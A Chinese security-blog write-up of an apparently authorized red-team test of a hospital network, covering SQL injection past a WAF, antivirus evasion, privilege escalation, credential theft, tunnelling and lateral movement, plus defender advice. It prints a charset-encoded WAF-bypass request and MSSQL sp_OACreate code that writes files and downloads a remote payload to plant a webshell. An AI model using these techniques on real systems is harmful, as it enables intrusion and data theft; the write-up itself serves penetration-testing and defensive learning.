freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一次攻防和产品对抗
2025-03-13 14:37:59
所属地 广东省

1、前言

本文主要介绍了医疗行业在无资产的场景下的一些测试思路以及在打点、内网过程中一些安全产品对抗相关的内容,涉及waf绕过、上线技巧、提权绕过杀软、特定条件下隧道链等,针对整体的攻击过程进行相关总结,以及针对防守方基于攻防场景下一些较为细节的建议。((ಥ﹏ಥ)图片打码会打的厚一些)

攻击过程大致流程,具体攻击过程和思路分章讲解。
image.png

2、信息搜集

接到一个测试,客户想检验自己的当前安全能力、防守能力和响应能力。通过资产测绘域名搜索简单看了一眼,只有www.xxx.com和wx.xxx.com,经过多次攻防的洗礼和合规的要求,一些单位都只剩下一个官网和一个公众号小程序挂号使用。可谓相当之安全(名义上)。

利用自动化信息搜集工具进行搜索,只发现发现3个资产,www解析IP开放了另一个端口,剩下利用资产测绘工具搜索医院的一些关键词(存在资产挂在供应商的可能性)。

3、打点1-SQL注入命令执行过WAF和杀软

简单看了一下www站点是否存在后台,做了目录扫描,然后被封了....,通过扫描到的一个高位端口发现存在接口泄露,因为有waf,用被动扫描会被封禁,只能一个个接口手工测试。核心点无非两个,一个是文件上传,另一个是SQL注入(ASPX的站点因为用的大多是MSSQL 因此可以更好的通过注入获取shell)。
image.png

输入单引号后发现其中一个接口存在注入

image.png

3.1、waf绕过

此时的目的就是如何绕过waf,正好之前根据开源的waf特意整理过绕过方法,逐一在这里进行尝试,因为waf更多的是基于语义进行匹配,常规的方式就是破坏其数据库语法的结构,/**/等替换空格,替换其他字符,或者通过进行参数污染,反正在这里是不通用,且因为堆叠注入,要执行多条命令,很难一一去实现且太浪费时间了。这里通过修改POST传参的编码方式实现绕过的目的。例如:

POST /submit HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded;charset=ibm500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18
Content-Length: 157
Connection: close

%89%84=%f1%5c%4c%5c%3d%3c%1d%9c%5f%40%7c%95%28%98%96%40%5e%1d%9c%3c%8c%1d

如上所示修改编码方式为charset=ibm500,避免使用常用的ISO 8859 和UTF-8等编码方式,尝试使用EBCDIC(IBM 专有编码)系列,可以进行绕过。同事可以编写sqlmap,实现所有数据包进行编码转换达到自动化getshell的目的。(注意sqlmap数据包头部信息修改)

然后尝试os-shell(基于xpcmd-shell),成功弹回命令执行界面,执行whoami,发现卡住了......。过了一些返回了 5访问拒绝,有时候干脆什么也不返回。

image.png

因为总是执行了命令,过了一会才有响应,感觉大概率遇到一生之敌了。(痛苦面具)大概是

image.png

3.2杀软绕过

mssql命令执行无非几种方式,xp_cmdshellsp_OACreate、CLR。其他的个人用的比较少。

这个杀软真的感觉比好多企业版的还要厉害,可以拦截IIS MSSQL这种服务进程下启动的cmd。导致很多时候即使拿到了权限利用起来也麻烦的不行。

CLR基于注入的条件下很难利用,好像因为某一个设置无法开启(因为那条命令必须在开头,具体忘记了),堆叠注入注定了语句在后面,导致无法在注入条件下使用,一般更多应用于内网获取MSSQL账号密码横向使用(但是现在好像在注册程序集的时候也会被拦截了,如果不拦截调用cmd也一定会被拦截)只能实现一些其他的具体功能。xp_cmdshell默认调用cmd,被杀的死死的。因此尝试sp_OACreate

正常利用有两种方式:

1、sqlps,mssql内置的工具 把他看成windows的powershell。本地测试的时候一会拦截一会不拦截.....

2、非站库分立的情况下 Sp_OACreate尝试远程下载文件或者写文件到目标网站目录下,写入webshell(也不能是DLL环境,DLL环境大概率不解析aspx)

因为上面在输入单引号报错的时候看到了绝对路径,尝试写入webshell。webshell尽量不要太大,sp_OACreate下载字节大小最大8000。

启用OLE Automation
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;


文件写入
DECLARE @OLE INT
DECLARE @File INT
DECLARE @FilePath NVARCHAR(255) = 'C:\test\output.txt'
DECLARE @Text NVARCHAR(4000) = 'Hello, this is a test file written by SQL Server.'
-- 创建 FileSystemObject
EXEC sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
-- 创建文件(返回文件对象)
EXEC sp_OAMethod @OLE, 'CreateTextFile', @File OUT, @FilePath, 1, True
-- 写入文本
EXEC sp_OAMethod @File, 'WriteLine', NULL, @Text
-- 关闭文件
EXEC sp_OAMethod @File, 'Close'
-- 释放 COM 对象
EXEC sp_OADestroy @File
EXEC sp_OADestroy @OLE

文件下载
DECLARE @object INT, @object2 INT, @response varbinary(6000)
exec Sp_OACreate 'Microsoft.XMLHTTP', @object OUTPUT
EXEC sp_OAMethod @object, 'Open', NULL, 'GET', 'http://xxx.xxx.xxx/aaa.txt',0
EXEC sp_OAMethod @object, 'Send', NULL
EXEC sp_OAGetProperty @object, 'responseBody', @response OUTPUT

上传成功后成功获取webshell

图片找不到了。假装有一个 命令执行后继续失败的图片.jpg

虽然获取到了webshell但是此时的进程在IIS服务进程下,同样的道理,IIS下调用cmd还是会被杀软链接掉。(此时已经要疯了)好在就是目前可以正常上传文件。或者查看目标服务器文件,可以直接搭建隧道进入内网。退一步越想越气,都用了这么久的时间,并且拿到windows主机可以做很多信息搜集。主要是密码复用或者RDP缓存凭证一类的。

可以直接用ASPX加载shellcode上线,哥斯拉内置也有这个功能。(千万注意别乱操作导致进程被杀,此时的进程是IIS服务进程,可能导致网站崩溃)

image.png

上线CS后,实际还是不可以执行命令,CS执行系统命令默认也是调用cmd.exe,一样会被拦截,此时可以通过bof尝试去执行命令,或者进程断链都可以。

4、提权

此时已经拥有了一个完整的低权限的beacon,为了能够获取更多的主机信息,只能尝试提权。

08-22的提权方式,常用RottenPotatoJuicyPotatoSweetPotatoGodPotato等,为了适配绕过杀软,首先需要下载源码再不改原有功能的情况下进程修改,达到静态免杀的效果,结合AI改改即可,一个个函数放进去让它修改,然后编译运行查看功能是否正常及查杀效果。或者用其他语言实现。一般拦截的都是md5或者默认的一些关键字。

动态情况下,杀软拦截CreateProcessAsUserW这个函数,本质意义上就是低权限创建高权限进程。导致杀软查杀,此处可以在获取高权限TOKEN后不一定要启动一个进程,可以尝试做一些其他的操作,比如计划任务,启动项,获取密码等等。

如果自己不愿意或者不会修改,CS插件中存在已经存在提升当前beacon的权限。例如spoolsystem提权,不会启动一个新的进程,杀软也不会拦截

image.png

5、内网的信息搜集

此时我们已经获取到了system权限,通过主机抓取相关密码,获取浏览器和RDP凭证等。

image.png

坏消息12的机器,抓到的是密文,且浏览器没有保存什么东西,也没有RDP缓存一类的密码。3389上去退掉相关的杀软,基本上CS插件可以一把梭哈。如果条件不允许 只能通过做免杀的相关工具然后一个个获取。如果只是静态免杀,推荐PE-shellcode,然后写个加载器。

好消息ntml密码可以解密,cmd5永远的神。

image.png

因为密码不一样,且没获取到什么有用的信息,数据库和网站同一台机器,搜集半天后无果,没办法后续用了fscan一把梭哈,下意思以为医院的内网洒洒水。结果....

当前网段192.168好像没几台机器,且密码都不一样。(这里其实忽略了一个事情,就是主机的名字比如为ERP-SERVER,密码的组成可能为ERP+单位名称缩写+2022年份这种格式,通过135端口获取机器名字尝试猜解密码),例如扫描135可以获取多网卡和主机名称。

image.png

梭哈后当前B段也没扫描出什么可以利用的东西,又恢复了类似渗透测试阶段。

image.png

5.1、大力出奇迹

慢慢想了想,通过3389日志,以及主机网络链接等,发现存在10.10网段机器登陆过这台机器,无法PING通,使用fscan指定端口np,扫描了一下10,10端,还是没有什么资产,撩撩几个80,443。怀疑做了网络隔离,当前段类似DMZ区。利用内部防火墙做了隔离。继续无果

一气之下直接探测子网/12的10段80存活存活,但是fscan在扫描A段时漏报率极高,因此就多扫描了几遍,遇见了此生挚爱

image.png

直接突破到10网段。想着--可以不用加班了

6、特定条件下-多层隧道搭建

这是凌乱的开始,真是折腾了好久好久好久,医院的机器一般都不出网,第一台入口机器192.168搭建的正向隧道suo5,获取的第二台机器10.10本来想启动一个frp,搞一个代理链,frps和frpc都运行在10.10中,搭建好了发现除了80,443等端口,192.168均无法访问到10端,导致隧道链无法使用。(排查了好久,还以为代理链搭建出了问题,已经打到头昏脑涨 纯凭本能行事)

大概逻辑如下,通过suo5走HTTP正向代理,将流量带到192.168。然后frp服务端在10.10监听端口8843。由于192.168无法连接10.10导致代理链无法使用
image.png

本来又想把FRP服务端放在放在192.168,然后让10.10作为客户端去找它发现,发现10.10也无法访问到192.168。此时已经确定了目前的模式有点像外网个人主机访问互联网业务的意思。 192.168是类比为我的客户端,10.10类比互联网业务。

自己反应了半天,突然想尝试双层suo5正向隧道。

image.png

代理链配置如下

image.png

成功访问业务办公内网。

7、内网横向

其实打的时候也是凌乱的,事后逐步梳理了一下。主要是没有业务运维经验,脑海里大概想不出具体的结构框架什么样子的。

首先获取到主机之后根据业务保存的账号密码信息,横向了几台服务器。此时内网大门敞开了,无非就是收集主机信息,然后横向。详情如下图:

image.png

通过cve-2021-22005获取到一台linux主机,使用CVE-2021-3156-sudo提权,获取root权限,然后可以根据实际情况修改web密码,或者获取data.mdb文件,通过脚本获取cookie进行登录。

image.png

登录到web端后可以,服务器密码和现有密码本不一样,寻找正常业务段的一台机器,内存尽量小一些的,因为打快照的大小是根据内存来的,然后通过打快照的方式结合volatility_2.6_win64_standalone.exe获取密码Hash,解开密码后突破至172.20网段 或者如果解不开在venter的模板文件和备注中看看有没有默认密码(遇到过一次),或者找linux服务器,一般这种可能不需要登录。突破新的网段后在想办法。

image.png

此时也终于找到了出网的机器,不需要再用我卑微可怜的双层正向代理了。实在是有点卡。

拿到服务器后,就是不断的信息搜集 核心目标还是通过navicat、web业务配置等获取mssql、oracle数据库账号密码,或者通过浏览器获取web账号密码主要是获取核心业务或者安全/网络设备权限。

在一台主机上获取到了杀软管控tq的账号密码(PS:其实也属于一个小密码本只是不全,好像每个单位都有一个文件共享服务器给大家用,然后什么东西都往里面方,大家可以关注一下win+R缓存链接FTP的记录,目标机器很有可能是文件共享服务器),直接下发木马文件,获取运维人员的电脑权限。拿到运维账户信息。至此拿下整个网络

8、总结

攻击方

1、日常还是要多储备一些绕过waf和杀软的方式方法。重点就是文件上传和注入和上线方式,绕过方法殊途同归,互联网上结合几种办法放在一起就可以。涉及java反序列化或者一些模板注入的绕过,要么网上找现有的,要么就只能自己分析哪里可以填充字符了。核心就是垃圾字符绕过。

2、记录好几种方式代理链的命令和使用场景方法,现场有时候打起来又忙又乱,这里浪费了好久的时间。

3、在完善一下网段类信息搜集技巧,很多单位用的网段都不是正常内网网段且禁止PING,导致很多资产无法发现,有资产才有漏洞才能更快横向。

4、针对这种多层隔离的内网需要新的技巧和方式学习,这次纯属运气好看到了一个RCE。

5、静态内网横向思路的拓展和结合内网获取权限后社工快速定位运维的技巧学习和整理。

防守方

1、内部网端隔离是真的恶心,打进内网实际还是“外网”,设置管控好DMZ区,实际内网业务区的安全性会很高,同时客户端办公网和业务网络也要划分清楚,避免钓鱼。

2、不要使用密码复用、不要有规律密码、不要共享文件服务器放密码本。尽量也不要文件共享服务器,非要有做好每个用户权限限制,服务器做好白名单限制

3、内网的漏洞修复不过来,管控系统漏洞还是要修复的。自己内部其实可以通过fscan做扫描(大部分攻击者还在用),看看存在哪些RCE的漏洞逐一修复。有懂行的运维就更好了,跟进新的RCE漏洞修复即可。

4、web业务的默认配置文件,在有条件的情况下可以加密,会给攻击者带来一定的时间消耗成本。如果加密方式够复杂,会恶心的要死。

5、浏览器、RDP缓存、XSHELL、navicat等等等不要保存凭证。

6、机器不出网对于攻击者是真恶心,服务器能不出网就不出网,这样即使打进去,也只有一个入口点,在应急溯源响应的时候会方便很多。

7、弱密码,用户端对改不掉,服务器和数据库的可以改呀。尽量每台服务器或者终端安装好杀软。免费的也很好用。增加攻击成本,消耗攻击时间。

8、做好外网资产暴露面检查和供应商接入内网权限(核心)

# xss
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
  • 0 文章数
  • 0 关注者
文章目录